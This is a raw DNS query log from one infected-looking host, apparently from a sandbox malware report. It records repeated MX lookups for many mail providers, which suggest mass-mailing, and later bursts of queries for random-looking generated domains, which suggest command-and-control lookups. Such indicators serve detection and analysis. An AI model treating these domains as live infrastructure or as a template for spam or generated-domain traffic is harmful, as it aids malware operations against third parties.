Oct 31, 2022 12:19:44.512689114 CET	192.168.2.5	8.8.8.8	0x70ad	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:44.525279999 CET	192.168.2.5	8.8.8.8	0xd2e5	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:44.663239956 CET	192.168.2.5	8.8.8.8	0xc570	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:45.420604944 CET	192.168.2.5	8.8.8.8	0x49fd	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:46.157844067 CET	192.168.2.5	8.8.8.8	0x67af	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:46.710159063 CET	192.168.2.5	8.8.8.8	0xc19d	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.621853113 CET	192.168.2.5	8.8.8.8	0xcce2	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.666575909 CET	192.168.2.5	8.8.8.8	0x7f86	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.689373016 CET	192.168.2.5	8.8.8.8	0xd14	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.725852013 CET	192.168.2.5	8.8.8.8	0x29b3	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.731483936 CET	192.168.2.5	8.8.8.8	0x640d	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.749844074 CET	192.168.2.5	8.8.8.8	0x952f	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:48.776531935 CET	192.168.2.5	8.8.8.8	0x3316	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:48.798801899 CET	192.168.2.5	8.8.8.8	0xc00	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:50.965976954 CET	192.168.2.5	8.8.8.8	0x3dc9	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.516469002 CET	192.168.2.5	8.8.8.8	0x54fe	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.825753927 CET	192.168.2.5	8.8.8.8	0xdeb	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.847336054 CET	192.168.2.5	8.8.8.8	0x5a6d	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:52.872242928 CET	192.168.2.5	8.8.8.8	0x15a3	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.939048052 CET	192.168.2.5	8.8.8.8	0x5eeb	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:52.942774057 CET	192.168.2.5	8.8.8.8	0x4ac7	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:53.067781925 CET	192.168.2.5	8.8.8.8	0x14a1	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:53.584047079 CET	192.168.2.5	8.8.8.8	0x1996	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:53.971004009 CET	192.168.2.5	8.8.8.8	0x5eeb	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:54.059920073 CET	192.168.2.5	8.8.8.8	0xa8b1	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:54.619012117 CET	192.168.2.5	8.8.8.8	0x58b8	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:54.643486977 CET	192.168.2.5	8.8.8.8	0xf1a4	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:54.961357117 CET	192.168.2.5	8.8.8.8	0x5eeb	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:55.341057062 CET	192.168.2.5	8.8.8.8	0x1a09	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:56.582487106 CET	192.168.2.5	8.8.8.8	0x71b1	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:57.383405924 CET	192.168.2.5	8.8.8.8	0xc93e	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.037362099 CET	192.168.2.5	8.8.8.8	0x1f38	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.090202093 CET	192.168.2.5	8.8.8.8	0xc4cf	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.121289015 CET	192.168.2.5	8.8.8.8	0x27de	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.193759918 CET	192.168.2.5	8.8.8.8	0x6cd5	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:19:59.232141972 CET	192.168.2.5	8.8.8.8	0x61f	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:19:59.313254118 CET	192.168.2.5	8.8.8.8	0xe20f	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.232431889 CET	192.168.2.5	8.8.8.8	0x5a9b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.235089064 CET	192.168.2.5	8.8.8.8	0x44b2	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.237978935 CET	192.168.2.5	8.8.8.8	0xbaec	Standard query (0)	mnaahmqpqs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:00.294300079 CET	192.168.2.5	8.8.8.8	0xd0ff	Standard query (0)	rrhaerswna.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.194662094 CET	192.168.2.5	8.8.8.8	0x480b	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.277132034 CET	192.168.2.5	8.8.8.8	0x8505	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.428967953 CET	192.168.2.5	8.8.8.8	0x1ddb	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.728516102 CET	192.168.2.5	8.8.8.8	0x69a8	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:01.849015951 CET	192.168.2.5	8.8.8.8	0x492	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:02.246624947 CET	192.168.2.5	8.8.8.8	0xc61	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.371571064 CET	192.168.2.5	8.8.8.8	0x1f44	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.394226074 CET	192.168.2.5	8.8.8.8	0xaaa9	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.418102980 CET	192.168.2.5	8.8.8.8	0xcccd	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.492925882 CET	192.168.2.5	8.8.8.8	0x8ce7	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.516115904 CET	192.168.2.5	8.8.8.8	0xe9e6	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.526130915 CET	192.168.2.5	8.8.8.8	0xb154	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:03.531409025 CET	192.168.2.5	8.8.8.8	0xf1d7	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:03.551599026 CET	192.168.2.5	8.8.8.8	0x1f6d	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:04.736681938 CET	192.168.2.5	8.8.8.8	0x1911	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:07.572937965 CET	192.168.2.5	8.8.8.8	0x4003	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.410940886 CET	192.168.2.5	8.8.8.8	0x3600	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.631201029 CET	192.168.2.5	8.8.8.8	0x4003	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.717516899 CET	192.168.2.5	8.8.8.8	0x67c4	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.739022970 CET	192.168.2.5	8.8.8.8	0x716a	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.760629892 CET	192.168.2.5	8.8.8.8	0xa10b	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.823904991 CET	192.168.2.5	8.8.8.8	0x9500	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:08.934240103 CET	192.168.2.5	8.8.8.8	0x792f	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:08.942902088 CET	192.168.2.5	8.8.8.8	0xd2b9	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.084028959 CET	192.168.2.5	8.8.8.8	0xa3c	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.118729115 CET	192.168.2.5	8.8.8.8	0xf97a	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:09.619935036 CET	192.168.2.5	8.8.8.8	0x4003	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:09.959867954 CET	192.168.2.5	8.8.8.8	0xb50	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:10.272981882 CET	192.168.2.5	8.8.8.8	0xeb10	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:10.896310091 CET	192.168.2.5	8.8.8.8	0xb702	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:12.065581083 CET	192.168.2.5	8.8.8.8	0x52ec	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:12.886575937 CET	192.168.2.5	8.8.8.8	0x225	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:12.916620970 CET	192.168.2.5	8.8.8.8	0x64b5	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:12.965768099 CET	192.168.2.5	8.8.8.8	0x5101	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.019285917 CET	192.168.2.5	8.8.8.8	0xde51	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.036653042 CET	192.168.2.5	8.8.8.8	0xc65	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.043262005 CET	192.168.2.5	8.8.8.8	0xc282	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.076339960 CET	192.168.2.5	8.8.8.8	0x96b3	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:13.100492954 CET	192.168.2.5	8.8.8.8	0xdf25	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:13.778443098 CET	192.168.2.5	8.8.8.8	0x1250	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:14.276875973 CET	192.168.2.5	8.8.8.8	0x2eac	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:14.817435980 CET	192.168.2.5	8.8.8.8	0x369b	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:16.955327034 CET	192.168.2.5	8.8.8.8	0x26bf	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:17.173495054 CET	192.168.2.5	8.8.8.8	0xba68	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.241611958 CET	192.168.2.5	8.8.8.8	0xdf27	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:17.283962965 CET	192.168.2.5	8.8.8.8	0xb177	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.287106991 CET	192.168.2.5	8.8.8.8	0x1d82	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:17.395782948 CET	192.168.2.5	8.8.8.8	0x3c7	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:18.155177116 CET	192.168.2.5	8.8.8.8	0x3e70	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:18.158607960 CET	192.168.2.5	8.8.8.8	0x5115	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:18.334229946 CET	192.168.2.5	8.8.8.8	0xb177	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:19.861790895 CET	192.168.2.5	8.8.8.8	0xb177	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:19.908241987 CET	192.168.2.5	8.8.8.8	0xc59a	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:19.959898949 CET	192.168.2.5	8.8.8.8	0x64eb	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.050826073 CET	192.168.2.5	8.8.8.8	0x86b4	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.582519054 CET	192.168.2.5	8.8.8.8	0x200d	Standard query (0)	wnhrrnhran.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.591954947 CET	192.168.2.5	8.8.8.8	0x6abf	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:20.598546982 CET	192.168.2.5	8.8.8.8	0x790b	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.618333101 CET	192.168.2.5	8.8.8.8	0x3c75	Standard query (0)	resrnrrmnn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.625958920 CET	192.168.2.5	8.8.8.8	0xe113	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.682928085 CET	192.168.2.5	8.8.8.8	0xb8d1	Standard query (0)	mannheraph.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.715732098 CET	192.168.2.5	8.8.8.8	0xb2c3	Standard query (0)	pqnqqqrpmh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.746400118 CET	192.168.2.5	8.8.8.8	0x6581	Standard query (0)	smprehnwhs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:20.782859087 CET	192.168.2.5	8.8.8.8	0xbd9f	Standard query (0)	rhwnqwwnah.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.819633961 CET	192.168.2.5	8.8.8.8	0xd664	Standard query (0)	srsersmhsa.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.849526882 CET	192.168.2.5	8.8.8.8	0x9af1	Standard query (0)	neshnhhwss.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.876384974 CET	192.168.2.5	8.8.8.8	0x9088	Standard query (0)	mswapwrnan.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.903644085 CET	192.168.2.5	8.8.8.8	0xb6a3	Standard query (0)	ahsppnhrmh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.932038069 CET	192.168.2.5	8.8.8.8	0x2eb5	Standard query (0)	wmamewnnea.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.962596893 CET	192.168.2.5	8.8.8.8	0x6f12	Standard query (0)	nhwwheearh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:21.990488052 CET	192.168.2.5	8.8.8.8	0xcba3	Standard query (0)	msqepwamwn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.019654989 CET	192.168.2.5	8.8.8.8	0xae77	Standard query (0)	pmmpmshmsr.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.047982931 CET	192.168.2.5	8.8.8.8	0xb40a	Standard query (0)	mahwmwnrmn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.082283974 CET	192.168.2.5	8.8.8.8	0x5afb	Standard query (0)	aaawpshran.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.509932041 CET	192.168.2.5	8.8.8.8	0x6871	Standard query (0)	smmmwrsqhs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.536814928 CET	192.168.2.5	8.8.8.8	0x9322	Standard query (0)	pweenawwra.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:22.567503929 CET	192.168.2.5	8.8.8.8	0x7578	Standard query (0)	sqepwsanpn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.556992054 CET	192.168.2.5	8.8.8.8	0x7578	Standard query (0)	sqepwsanpn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.584599018 CET	192.168.2.5	8.8.8.8	0x33ca	Standard query (0)	qseerensns.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.619437933 CET	192.168.2.5	8.8.8.8	0xa2c4	Standard query (0)	hnhsehnhpa.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.649821043 CET	192.168.2.5	8.8.8.8	0x581d	Standard query (0)	psswwrmraa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.681783915 CET	192.168.2.5	8.8.8.8	0x1736	Standard query (0)	hwhnrpesma.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.708389044 CET	192.168.2.5	8.8.8.8	0x91	Standard query (0)	qmqspqnhwa.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.762254000 CET	192.168.2.5	8.8.8.8	0x881c	Standard query (0)	shprahaqrh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.796077013 CET	192.168.2.5	8.8.8.8	0xe179	Standard query (0)	rmmamheshh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:23.832294941 CET	192.168.2.5	8.8.8.8	0x8861	Standard query (0)	ennmqsmqna.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.282011986 CET	192.168.2.5	8.8.8.8	0x74b	Standard query (0)	qseahwrsps.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.319696903 CET	192.168.2.5	8.8.8.8	0x19c7	Standard query (0)	ehrawpsrms.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.330312014 CET	192.168.2.5	8.8.8.8	0xd8a2	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.668075085 CET	192.168.2.5	8.8.8.8	0xdc0a	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.700640917 CET	192.168.2.5	8.8.8.8	0x76dd	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.746438026 CET	192.168.2.5	8.8.8.8	0xfbb4	Standard query (0)	naspqmsmeh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.762358904 CET	192.168.2.5	8.8.8.8	0xde63	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.774105072 CET	192.168.2.5	8.8.8.8	0x5ed6	Standard query (0)	wwnmhhenpa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.809011936 CET	192.168.2.5	8.8.8.8	0xb44f	Standard query (0)	qmrmswrran.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.825824022 CET	192.168.2.5	8.8.8.8	0x347b	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:24.870243073 CET	192.168.2.5	8.8.8.8	0x24b	Standard query (0)	wqeasppnas.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.877846003 CET	192.168.2.5	8.8.8.8	0xb3f4	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.914676905 CET	192.168.2.5	8.8.8.8	0x1042	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:24.918056965 CET	192.168.2.5	8.8.8.8	0xa90b	Standard query (0)	awhhsqness.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.097280979 CET	192.168.2.5	8.8.8.8	0x1f65	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.332643032 CET	192.168.2.5	8.8.8.8	0xb57	Standard query (0)	eqprsrnprs.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.747466087 CET	192.168.2.5	8.8.8.8	0xb69a	Standard query (0)	aaesrmawah.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.853013039 CET	192.168.2.5	8.8.8.8	0x373c	Standard query (0)	wnaampsmna.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.879586935 CET	192.168.2.5	8.8.8.8	0xb9ec	Standard query (0)	qpnphqawmh.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.912637949 CET	192.168.2.5	8.8.8.8	0x6cec	Standard query (0)	hmqrapnpsh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.938484907 CET	192.168.2.5	8.8.8.8	0x5994	Standard query (0)	aqsnaasemh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:25.974466085 CET	192.168.2.5	8.8.8.8	0x81ee	Standard query (0)	haswmnsqah.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.012295008 CET	192.168.2.5	8.8.8.8	0x3551	Standard query (0)	aeaqnwmhes.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.037501097 CET	192.168.2.5	8.8.8.8	0x40f1	Standard query (0)	mqsnrenerh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.064304113 CET	192.168.2.5	8.8.8.8	0xcbcc	Standard query (0)	nspseanhrs.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.092005968 CET	192.168.2.5	8.8.8.8	0x66b0	Standard query (0)	haaahpspqs.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.129832983 CET	192.168.2.5	8.8.8.8	0xf902	Standard query (0)	qppqsasahn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.196074009 CET	192.168.2.5	8.8.8.8	0xc1d3	Standard query (0)	mnnhnhahmh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.223217964 CET	192.168.2.5	8.8.8.8	0xd628	Standard query (0)	nwrrpeshhn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.250701904 CET	192.168.2.5	8.8.8.8	0xe741	Standard query (0)	wqsrephqms.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.284307957 CET	192.168.2.5	8.8.8.8	0x9b31	Standard query (0)	nprhssnrmn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.313159943 CET	192.168.2.5	8.8.8.8	0xca3e	Standard query (0)	eqnhphnqms.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.797343016 CET	192.168.2.5	8.8.8.8	0xf5d7	Standard query (0)	neqanhanwn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.824537039 CET	192.168.2.5	8.8.8.8	0x95bf	Standard query (0)	smrnnmaqra.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.853929043 CET	192.168.2.5	8.8.8.8	0xdf53	Standard query (0)	nnnrpsanwh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.878324986 CET	192.168.2.5	8.8.8.8	0xc254	Standard query (0)	wharrewhpn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.904546976 CET	192.168.2.5	8.8.8.8	0x83ca	Standard query (0)	qhhnpesehs.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.961189032 CET	192.168.2.5	8.8.8.8	0x31de	Standard query (0)	mesrphwwas.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:26.989284039 CET	192.168.2.5	8.8.8.8	0x24c2	Standard query (0)	awmmprseha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.017128944 CET	192.168.2.5	8.8.8.8	0x2c0	Standard query (0)	weaamsqssa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.047142982 CET	192.168.2.5	8.8.8.8	0xd41b	Standard query (0)	rqeaqsqpsr.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.076276064 CET	192.168.2.5	8.8.8.8	0x4bb1	Standard query (0)	wrmqnnrqmh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.102562904 CET	192.168.2.5	8.8.8.8	0x4285	Standard query (0)	npmpsewraa.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.131511927 CET	192.168.2.5	8.8.8.8	0x9be6	Standard query (0)	whqrmqmnrs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.160049915 CET	192.168.2.5	8.8.8.8	0xa584	Standard query (0)	nwqsnneawh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.189753056 CET	192.168.2.5	8.8.8.8	0x1495	Standard query (0)	smwrehrsph.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.214920044 CET	192.168.2.5	8.8.8.8	0x1b51	Standard query (0)	qrmhwrwwmn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.252044916 CET	192.168.2.5	8.8.8.8	0xb044	Standard query (0)	sprpmpqasn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.282368898 CET	192.168.2.5	8.8.8.8	0x9824	Standard query (0)	apmeppqwqh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.311101913 CET	192.168.2.5	8.8.8.8	0xb37f	Standard query (0)	wqpeaenphs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.343485117 CET	192.168.2.5	8.8.8.8	0xfec6	Standard query (0)	awqqrwmwsh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.382978916 CET	192.168.2.5	8.8.8.8	0x2397	Standard query (0)	erphseshhh.ws	A (IP address)	IN (0x0001)	false
